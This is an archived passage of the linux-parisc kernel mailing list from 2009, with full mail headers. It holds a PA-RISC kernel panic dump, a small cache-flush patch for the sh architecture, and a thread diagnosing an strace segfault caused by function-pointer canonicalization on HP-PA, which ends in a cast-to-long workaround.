IASQ: 0000000000000000 0000000000000000 IAOQ: 0000000040127054 0000000040127058
 IIR: 0f8010df    ISR: 000000003ffff800  IOR: c00007ff9f85cb90
 CPU:        0   CR30: 00000000405a4000 CR31: ffdfffffffffffff
 ORIG_R28: 00000000405ebc80
 IAOQ[0]: unwind_once+0x2d4/0x450
 IAOQ[1]: unwind_once+0x2d8/0x450
 RP(r2): 0x10
Backtrace:
 [<0000000040290e94>] memcpy+0x2c/0x40

Kernel panic - not syncing: Bad Address (null pointer deref?)
Backtrace:
Backtrace:
 [<00000000402fdf64>] uart_console_write+0x5c/0xc0


Bad Address (null pointer deref?): Code=15 regs=00000000405a6390
(Addr=c00007ff405a6240)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00001000000001001111111100001110 Not tainted
r00-03  000000ff0804ff0e 00000000405f8c80 0000000000000010 00000000405a5e48
r04-07  000000006fc00000 000000006bc23fd9 0000000000000001 00000000405f8480
r08-11  0000000000000350 0000000073c00008 000000000000000f 000000000800000e
r12-15  00000000404d9048 000000000800000f 0000000000000002 0000000000000004
r16-19  00000000405a53c0 00000000405a49e8 000000009dc6e9e0 000000004011d370
r20-23  ffffffffffffff70 000000004011c424 00000000ffffff70 00000000404793b4
r24-27  000000004011c370 0000000000000000 000000004011c9fc 00000000405ebc80
r28-31  ffffffff405a6240 0000000037de0000 00000000405a6390 ffffffff405a6250
sr00-03  00000000001f6800 0000000000000000 0000000000000000 00000000001f6800
sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000

IASQ: 0000000000000000 0000000000000000 IAOQ: 0000000040127054 0000000040127058
 IIR: 0f8010df    ISR: 000000003ffff800  IOR: c00007ff405a6240
 CPU:        0   CR30: 00000000405a4000 CR31: ffdfffffffffffff
 ORIG_R28: 00000000405ebc80
 IAOQ[0]: unwind_once+0x2d4/0x450
 IAOQ[1]: unwind_once+0x2d8/0x450
 RP(r2): 0x10
Backtrace:
 [<00000000402fdf64>] uart_console_write+0x5c/0xc0

Kernel panic - not syncing: Bad Address (null pointer deref?)
Backtrace:
Backtrace:
 [<00000000401154c8>] printk+0x40/0x50
 [<000000004011c8f4>] do_show_stack+0x7c/0xe8
~~~

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.file-systems,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH 1/5] mm: add coherence API for DMA to vmalloc/vmap areas
Date: Wed, 09 Sep 2009 09:34:38 -0500
Lines: 38
Approved: news@gmane.org
Message-ID: <1252506878.3918.32.camel@mulgrave.site>
References: <1252434469.13003.3.camel@mulgrave.site>
	 <20090908190031.GF6538@flint.arm.linux.org.uk>
	 <1252437112.13003.39.camel@mulgrave.site>
	 <20090908201619.GG6538@flint.arm.linux.org.uk>
	 <1252442352.13003.132.camel@mulgrave.site>
	 <20090908213910.GH6538@flint.arm.linux.org.uk>
	 <1252466070.13003.365.camel@mulgrave.site>
	 <1252466226.13003.367.camel@mulgrave.site>
	 <1252466601.13003.374.camel@mulgrave.site>
	 <20090909033532.GD23049@linux-sh.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1252506909 19116 80.91.229.12 (9 Sep 2009 14:35:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 9 Sep 2009 14:35:09 +0000 (UTC)
Cc: Russell King <rmk@arm.linux.org.uk>,
	Parisc List <linux-parisc@vger.kernel.org>,
	Linux Filesystem Mailing List <linux-fsdevel@vger.kernel.org>,
	linux-arch@vger.kernel.org, Christoph Hellwig <hch@lst.de>
To: Paul Mundt <lethal@linux-sh.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Sep 09 16:35:01 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MlOGC-0001e8-Dp
	for glpp-linux-parisc@lo.gmane.org; Wed, 09 Sep 2009 16:35:00 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752484AbZIIOej (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 9 Sep 2009 10:34:39 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753294AbZIIOej
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 9 Sep 2009 10:34:39 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:59315 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752484AbZIIOei (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 9 Sep 2009 10:34:38 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id BB2978EE105;
	Wed,  9 Sep 2009 07:34:41 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id c4p4-kfIa4Ik; Wed,  9 Sep 2009 07:34:41 -0700 (PDT)
Original-Received: from [192.168.10.224] (newmulgrave.ext.hansenpartnership.com [192.168.10.224])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 107E88EE0E2;
	Wed,  9 Sep 2009 07:34:40 -0700 (PDT)
In-Reply-To: <20090909033532.GD23049@linux-sh.org>
X-Mailer: Evolution 2.24.1.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2132 gmane.linux.file-systems:35170 gmane.linux.kernel.cross-arch:4361
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2132>

On Wed, 2009-09-09 at 12:35 +0900, Paul Mundt wrote:
> And here I thought it was a new gcc construct along the lines of
> inline-if-so-inclined.. :-)

Actually, I missed the fact that sh also sets
ARCH_HAS_FLUSH_KERNEL_DCACHE_PAGE, so you'll need implementations of
these functions too.  Does this look right?

James

---

diff --git a/arch/sh/include/asm/cacheflush.h b/arch/sh/include/asm/cacheflush.h
index 4c5462d..db06611 100644
--- a/arch/sh/include/asm/cacheflush.h
+++ b/arch/sh/include/asm/cacheflush.h
@@ -48,6 +48,14 @@ static inline void flush_kernel_dcache_page(struct page *page)
 {
 	flush_dcache_page(page);
 }
+static inline void flush_kernel_dcache_addr(void *addr)
+{
+	__flush_invalidate_region(addr, PAGE_SIZE);
+}
+static inline void invalidate_kernel_dcache_addr(void *addr)
+{
+	__flush_invalidate_region(addr, PAGE_SIZE);
+}
 
 #if defined(CONFIG_CPU_SH4) && !defined(CONFIG_CACHE_OFF)
 extern void copy_to_user_page(struct vm_area_struct *vma,


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Segfault in __c_f_f_c during strace of nptl application.
Date: Wed, 9 Sep 2009 10:39:30 -0400
Lines: 47
Approved: news@gmane.org
Message-ID: <119aab440909090739s1f7af068s65bb4d389b626a4d@mail.gmail.com>
References: <119aab440906202327x7093bd81q93f3914fcf6c2c70@mail.gmail.com>
	 <20090621152031.04E4B4F19@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1252507183 20055 80.91.229.12 (9 Sep 2009 14:39:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 9 Sep 2009 14:39:43 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, linux-parisc@vger.kernel.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Sep 09 16:39:36 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MlOKc-0002zt-Dg
	for glpp-linux-parisc@lo.gmane.org; Wed, 09 Sep 2009 16:39:34 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752386AbZIIOja convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 9 Sep 2009 10:39:30 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752395AbZIIOja
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 9 Sep 2009 10:39:30 -0400
Original-Received: from mail-bw0-f219.google.com ([209.85.218.219]:44890 "EHLO
	mail-bw0-f219.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752386AbZIIOj3 convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 9 Sep 2009 10:39:29 -0400
Original-Received: by bwz19 with SMTP id 19so466787bwz.37
        for <linux-parisc@vger.kernel.org>; Wed, 09 Sep 2009 07:39:31 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to:cc
         :content-type:content-transfer-encoding;
        bh=EfuSAGIj2HxMXNCeMP2kQJFM/g9BHd9pTrybsDF0eXo=;
        b=ScImAS1tQCCpdUfKk5WbeeML2SkkL7CfWSOM2FQx9KMD3qgv964yqvtyfLz5vrBa/l
         VVzDxF92SHFDA21hkDIcbAKHi+BXG8kvIbkUrSRSjo7hfynan96UMzSdVgcmDG/aTY8Q
         MdyZrKmIdTE/DEGvh7RpH5PnWlCxRBxI6JCYA=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=hEGvY0pC6HbgGmOOXczJ8db2mRYO/ggP5yvdv3aK3u/tGo9n0OnQoHZovSb+2ZF6al
         JXqqwL+BVKWGavsYOTSRW0aVdRGtRUzqnj2t9MjrDv9DjO3yrnOIjLhF0vpVqgOEL9yo
         ixdVXV3Fb7DLtRZ2e0nZBkekwKRk/CPv/+dkk=
Original-Received: by 10.223.97.132 with SMTP id l4mr348799fan.100.1252507171009; Wed, 
	09 Sep 2009 07:39:31 -0700 (PDT)
In-Reply-To: <20090621152031.04E4B4F19@hiauly1.hia.nrc.ca>
X-Google-Sender-Auth: 6e3b546b459f09a1
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2133
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2133>

On Sun, Jun 21, 2009 at 11:20 AM, John David
Anglin<dave@hiauly1.hia.nrc.ca> wrote:
> Looking at my email archive, I see the real cause involves kernel mem=
ory
> maps:
>
> =A0> > > On Wed, May 06, 2009 at 01:39:49PM -0400, John David Anglin =
wrote:
> =A0> > > > > The tombstone is:
> =A0> > > > >
> =A0> > > > > do_page_fault() pid=3D10205 command=3D'strace' type=3D15=
 address=3D0x407d2f18
> =A0> > > > > vm_start =3D 0x4068d000, vm_end =3D 0x4068f000
> =A0> > > >
> =A0> > > > So, the pointer passed to __canonicalize_funcptr_for_compa=
re is outside
> =A0> > > > the vm range.

The strace problem is a compiler flaw.

This is the problem:
* Strace examines the applications syscall.
* Strace extracts, via PTRACE, application addresses, addresses that
don't exist in the strace address space (and should not exist).
* Strace compares extracted address to a constant SIG_ERR.
* Compiler generates a call to __c_f_f_c, which dereference the
extracted address and strace faults.

Strace and the application have completely different address spaces,
and __c_f_f_c can't assume that an address is in the current address
space.

The solution is to detect that a comparison between two pointers is a
comparison between pointer and small constant, and avoid calling
__c_f_f_c for both.

The workaround is to cast both long. I tested this and it works. I'll
submit this to debian as the fix.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Frysinger <vapier@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Segfault in __c_f_f_c during strace of nptl application.
Date: Wed, 9 Sep 2009 10:50:32 -0400
Organization: wh0rd.org
Lines: 81
Approved: news@gmane.org
Message-ID: <200909091050.35128.vapier@gentoo.org>
References: <119aab440906202327x7093bd81q93f3914fcf6c2c70@mail.gmail.com> <20090621152031.04E4B4F19@hiauly1.hia.nrc.ca> <119aab440909090739s1f7af068s65bb4d389b626a4d@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed;
  boundary="nextPart1577743.ODTd9NeaAD";
  protocol="application/pgp-signature";
  micalg=pgp-sha1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1252507842 22361 80.91.229.12 (9 Sep 2009 14:50:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 9 Sep 2009 14:50:42 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	dave.anglin@nrc-cnrc.gc.ca, linux-parisc@vger.kernel.org
To: "Carlos O'Donell" <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Sep 09 16:50:34 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MlOVF-0006rA-EB
	for glpp-linux-parisc@lo.gmane.org; Wed, 09 Sep 2009 16:50:33 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751599AbZIIOu2 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 9 Sep 2009 10:50:28 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752080AbZIIOu2
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 9 Sep 2009 10:50:28 -0400
Original-Received: from smtp.gentoo.org ([140.211.166.183]:50683 "EHLO smtp.gentoo.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751599AbZIIOu2 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 9 Sep 2009 10:50:28 -0400
Original-Received: from vapier.localnet (localhost [127.0.0.1])
	by smtp.gentoo.org (Postfix) with ESMTP id 74E936723D;
	Wed,  9 Sep 2009 14:50:31 +0000 (UTC)
User-Agent: KMail/1.12.1 (Linux/2.6.30.5; KDE/4.3.1; x86_64; ; )
In-Reply-To: <119aab440909090739s1f7af068s65bb4d389b626a4d@mail.gmail.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2134
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2134>

--nextPart1577743.ODTd9NeaAD
Content-Type: Text/Plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

On Wednesday 09 September 2009 10:39:30 Carlos O'Donell wrote:
> On Sun, Jun 21, 2009 at 11:20 AM, John David
>=20
> Anglin<dave@hiauly1.hia.nrc.ca> wrote:
> > Looking at my email archive, I see the real cause involves kernel memory
> > maps:
> >
> >  > > > On Wed, May 06, 2009 at 01:39:49PM -0400, John David Anglin wrot=
e:
> >  > > > > > The tombstone is:
> >  > > > > >
> >  > > > > > do_page_fault() pid=3D10205 command=3D'strace' type=3D15
> > address=3D0x407d2f18 > > > > > vm_start =3D 0x4068d000, vm_end =3D 0x40=
68f000
> >  > > > >
> >  > > > > So, the pointer passed to __canonicalize_funcptr_for_compare is
> > outside > > > > the vm range.
>=20
> The strace problem is a compiler flaw.
>=20
> This is the problem:
> * Strace examines the applications syscall.
> * Strace extracts, via PTRACE, application addresses, addresses that
> don't exist in the strace address space (and should not exist).
> * Strace compares extracted address to a constant SIG_ERR.
> * Compiler generates a call to __c_f_f_c, which dereference the
> extracted address and strace faults.
>=20
> Strace and the application have completely different address spaces,
> and __c_f_f_c can't assume that an address is in the current address
> space.
>=20
> The solution is to detect that a comparison between two pointers is a
> comparison between pointer and small constant, and avoid calling
> __c_f_f_c for both.
>=20
> The workaround is to cast both long. I tested this and it works. I'll
> submit this to debian as the fix.

and include this explanation in a comment right above the cast ? ;)

also, the strace list is active currently, so posting a patch there should =
get=20
it merged (and since it's an important bugfix, it should get added before t=
he=20
next release).
=2Dmike

--nextPart1577743.ODTd9NeaAD
Content-Type: application/pgp-signature; name=signature.asc 
Content-Description: This is a digitally signed message part.

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.11 (GNU/Linux)

iQIcBAABAgAGBQJKp8C7AAoJEEFjO5/oN/WB6AkP/1lKLyj4d0TPATXujBUnVTQ9
QNq0N178mYk9DtXFfvhvWdTi2H5QzEIYiiEK/kWHwgB9Np/YRsds6msEedxhCqne
V3P5GiC2EHP3rSEPKyL2Vw4udRm3ji4m8VzyZrdf8fMfN9W9dpWAwBKyPlxCSGK4
P8RyK37cUo6baIOF8Dk10vsgkma0+cjP6Thqt0BiT0oz+SOOwiODX5Dd0ddbyAIY
Xzw/Xe3NnL8v5rkVREGB105dxCqkayXLLndBizdQkosi17fDQUoNBBXdrJPGrzxd
YB46IaAWSdjusNlvd0JoHClSAnon9+Xyctnj9MzVo0NJHWl7IJqTxwgSAGe/bh6L
tiIMG2Z5oylACkq2KemWV+s3x+lu8uUfevl6HTA7fFHfCEI7IyzB/S/N+IyWvEaj
6UgpAdDGLAmDFimP1H1hobUpF5RiD4yV1Pc22eFIYJFaLb0xuDhNYtzPBm06tOHH
XxUWyBG3GjCAq2fq/v/u6krym1hXuXZo9sGd4vqbBBCP8oUUVd1A2+9aQR+iXrHC
MiQAMLLQb5PAtDEElCWaAj3zuYtLSnBRanJ9yY8LgV9hs2T/+M54ZjA53ESnh8bV
/Wzaz9PsaMCyEiZ2f4HXL4Ef8f/E9/zBDrkV/IGFyvBC9uYzPJ5RBcbs6SbrSKDz
fXwwd9DKJm6z8Hl8haD/
=u9Qo
-----END PGP SIGNATURE-----

--nextPart1577743.ODTd9NeaAD--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Segfault in __c_f_f_c during strace of nptl application.
Date: Wed, 9 Sep 2009 11:16:49 -0400 (EDT)
Lines: 38
Approved: news@gmane.org
Message-ID: <20090909151650.551584FC6@hiauly1.hia.nrc.ca>
References: <119aab440909090739s1f7af068s65bb4d389b626a4d@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1252509440 28333 80.91.229.12 (9 Sep 2009 15:17:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 9 Sep 2009 15:17:20 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, linux-parisc@vger.kernel.org
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Sep 09 17:17:13 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MlOv2-0007dQ-Ld
	for glpp-linux-parisc@lo.gmane.org; Wed, 09 Sep 2009 17:17:12 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753006AbZIIPQs (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 9 Sep 2009 11:16:48 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753156AbZIIPQs
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 9 Sep 2009 11:16:48 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4877 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753006AbZIIPQs (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 9 Sep 2009 11:16:48 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 551584FC6; Wed,  9 Sep 2009 11:16:50 -0400 (EDT)
In-Reply-To: <119aab440909090739s1f7af068s65bb4d389b626a4d@mail.gmail.com> from "Carlos O'Donell" at Sep 9, 2009 10:39:30 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2135
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2135>

> The strace problem is a compiler flaw.
> 
> This is the problem:
> * Strace examines the applications syscall.
> * Strace extracts, via PTRACE, application addresses, addresses that
> don't exist in the strace address space (and should not exist).
> * Strace compares extracted address to a constant SIG_ERR.
> * Compiler generates a call to __c_f_f_c, which dereference the
> extracted address and strace faults.
> 
> Strace and the application have completely different address spaces,
> and __c_f_f_c can't assume that an address is in the current address
> space.

Unfortunately, this is necessary to canonicalize function pointers.

> The solution is to detect that a comparison between two pointers is a
> comparison between pointer and small constant, and avoid calling
> __c_f_f_c for both.

__c_f_f_c would have to be passed both pointers to detect comparisons
with small constants, or the GCC middle-end would have to detect
comparisons with constants and avoid canonicalization in that case.

> The workaround is to cast both long. I tested this and it works. I'll
> submit this to debian as the fix.

This is simplest fix.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Segfault in __c_f_f_c during strace of nptl application.
Date: Wed, 9 Sep 2009 11:24:43 -0400
Lines: 19
Approved: news@gmane.org
Message-ID: <119aab440909090824n55dff67sb32c0d3468a19d25@mail.gmail.com>
References: <119aab440909090739s1f7af068s65bb4d389b626a4d@mail.gmail.com>
	 <20090909151650.551584FC6@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: ger.gmane.org 1252509899 30021 80.91.229.12 (9 Sep 2009 15:24:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 9 Sep 2009 15:24:59 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, linux-parisc@vger.kernel.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Sep 09 17:24:52 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MlP2M-0001uc-FR
	for glpp-linux-parisc@lo.gmane.org; Wed, 09 Sep 2009 17:24:46 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752774AbZIIPYm (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 9 Sep 2009 11:24:42 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753208AbZIIPYm
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 9 Sep 2009 11:24:42 -0400
Original-Received: from mail-bw0-f219.google.com ([209.85.218.219]:58136 "EHLO
	mail-bw0-f219.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752774AbZIIPYl (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 9 Sep 2009 11:24:41 -0400
Original-Received: by bwz19 with SMTP id 19so500964bwz.37
        for <linux-parisc@vger.kernel.org>; Wed, 09 Sep 2009 08:24:43 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to:cc
         :content-type;
        bh=MtCu2UjxcCc/o3pf+gqnU4gFIcNqr7yBKvNID9JFEF8=;
        b=szPO03q7pFr55yX6d37RO5IN3PovwT7vGXz3Rk4tvaygkpEPQXNwrqzGlB9fAuduxA
         PxLuKS5G0WHt0avH81fbfnPb47HlC5Evg3Se47aXelGtSPiP16yxvtozDj38gyty36R+
         gl9WR+06jhVlea/ondcH+HcTRdaWSHP/TUSvQ=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type;
        b=AeUPuUUiEDYpoCziDNTkyg7X8w4WVUYzhFZu5Rz1wtrPnD3/FudJdhCyJNNinLGj/o
         /J+FR9C0G0ou6VUlHplC4EanQbSGEJ629fI/o5YgfjNBEzKvDJ7VjhDA6FM1o6NsTsYn
         b6xnL2L67SSazSGeskWksNQuhjRi4ckGs1t6g=
Original-Received: by 10.223.75.133 with SMTP id y5mr521233faj.18.1252509883378; Wed, 
	09 Sep 2009 08:24:43 -0700 (PDT)
In-Reply-To: <20090909151650.551584FC6@hiauly1.hia.nrc.ca>
X-Google-Sender-Auth: 0becc15d36a87cf3
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2136
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2136>

On Wed, Sep 9, 2009 at 11:16 AM, John David
Anglin<dave@hiauly1.hia.nrc.ca> wrote:
>> The workaround is to cast both long. I tested this and it works. I'll
>> submit this to debian as the fix.
>
> This is simplest fix.

Yes, it would appear that strace/gdb (applications that ptrace
addresses from another process) are most likely applications to suffer
from this problem, and it may be easier to work around the problem
there instead of in the compiler.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@suse.de>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.file-systems,gmane.linux.ports.parisc
Subject: [PATCH 6/6] xfs: fix xfs to work with Virtually Indexed architectures
Date: Wed,  9 Sep 2009 10:52:16 -0500
Lines: 48
Approved: news@gmane.org
Message-ID: <1252511536-22066-7-git-send-email-James.Bottomley@suse.de>
References: <1252511536-22066-1-git-send-email-James.Bottomley@suse.de>
 <1252511536-22066-2-git-send-email-James.Bottomley@suse.de>
 <1252511536-22066-3-git-send-email-James.Bottomley@suse.de>
 <1252511536-22066-4-git-send-email-James.Bottomley@suse.de>
 <1252511536-22066-5-git-send-email-James.Bottomley@suse.de>
 <1252511536-22066-6-git-send-email-James.Bottomley@suse.de>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1252511589 4257 80.91.229.12 (9 Sep 2009 15:53:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 9 Sep 2009 15:53:09 +0000 (UTC)
